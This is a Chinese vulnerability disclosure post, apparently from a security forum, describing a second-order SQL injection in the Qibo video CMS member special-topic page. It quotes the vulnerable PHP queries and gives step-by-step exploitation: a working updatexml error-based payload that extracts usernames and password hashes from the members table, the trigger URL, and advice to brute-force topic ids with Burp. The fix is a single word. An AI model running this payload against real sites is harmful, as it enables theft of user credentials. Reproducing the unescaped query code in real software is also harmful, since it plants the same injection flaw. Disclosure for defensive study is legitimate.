###0x01漏洞简介
齐博视频最新版,漏洞文件:video/member/special.php (发布专题的地方)
关键代码:
```
elseif($job=='addsp')
{
if($step==2){
$yz=($groupdb[PassContributeSP]||$web_admin)?1:0;
$db->query("INSERT INTO `{$_pre}special` ( `fid` , `title` , `keywords` , `style` , `template` , `picurl` , `content` , `aids` ,`uid` , `username` , `posttime` , `list`, `allowpost`, `yz`, `banner` ) VALUES ('$postdb[fid]','$postdb[title]','$keywords','$style','','$postdb[picurl]','$postdb[content]','$aids','$lfjuid','$lfjid','$timestamp','$timestamp','$postdb[allowpost]','$yz','$postdb[banner]')");
refreshto("special.php?job=listsp","创建专题成功",1);
}
```
其中$aids没有初始化,由于伪全局的原因,所以用户可控。于是我们可以在这里向数据库引入单引号,虽然有全局转义,但是入库就被还原了。出库的地方:(这个页面有很多出库的地方,我就挑一处来验证,其他请自查),和上面是相同的文件143-188行
```
elseif($job=="show_iframe"){
$rsdb=$db->get_one("SELECT * FROM {$_pre}special WHERE uid='$lfjuid' AND id='$id'");
if(!$rsdb){
showerr("资料不存在",1);
}
if($act=="order")
{
unset($array);
foreach( $listdb AS $aid=>$list){
$list=$list*1000000+$aid;
$array[$list]=$aid;
echo $listdb.$list.$aid;//自己的
}
ksort($array);
$rsdb[aids]=implode(",",$array);
$db->query("UPDATE {$_pre}special SET aids='$rsdb[aids]' WHERE uid='$lfjuid' AND id='$id'");
}
if($act=="add"&&$aid)
{
unset($_detail);
$detail=explode(",",$rsdb[aids]);
if(count($detail)>100){
showerr("记录已到上限!",1);
}
if(!in_array($aid,$detail)){
if($detail[0]==''){unset($detail[0]);}
$_detail[a]=$aid;
$rsdb[aids]=$string=implode(",",array_merge($_detail,$detail));
$db->query("UPDATE {$_pre}special SET aids='$string' WHERE uid='$lfjuid' AND id='$id'");
}
}
if($act=="del"&&$aid)
{
$detail=explode(",",$rsdb[aids]);
foreach( $detail AS $key=>$value){
if($value==$aid){
unset($detail[$key]);
}
}
$rsdb[aids]=$string=implode(",",$detail);
$db->query("UPDATE {$_pre}special SET aids='$string' WHERE uid='$lfjuid' AND id='$id'");
}
```
在条件if($act=="del"&&$aid)满足的情况下会进行一个update的操作,$string就是从我们上一步入库的地方查询出来再赋值的,而这里$string没有任何过滤和转义就造成了注入。
###0x03漏洞证明
1.先注册会员
2.来到 站内消息->视频系统->专题管理

点击发表专题

调好专题的内容,提交并且截包,在请求的地方添加,就是我画红线的地方,注意一定是加号而不是空格,#用url编码。
```
11'+or+updatexml(1,concat(0x7e,(SELECT+concat(username,0x7e,password)+FROM+qb_members+limit+0,1)),1)%23
```

看数据库

成功插入语句,现在就是出数据的地方了,直接访问
```
http://xx.com/video/member/special.php?job=show_iframe&act=del&aid=2&id=21
```
其中的id就是我们发表的专题的id,我们是不知道的,这太容易解决了,用burp爆破id看看返回包就可以了,很容易的毕竟纯数字。看结果:

###0x04修复方案
过滤。
暂无评论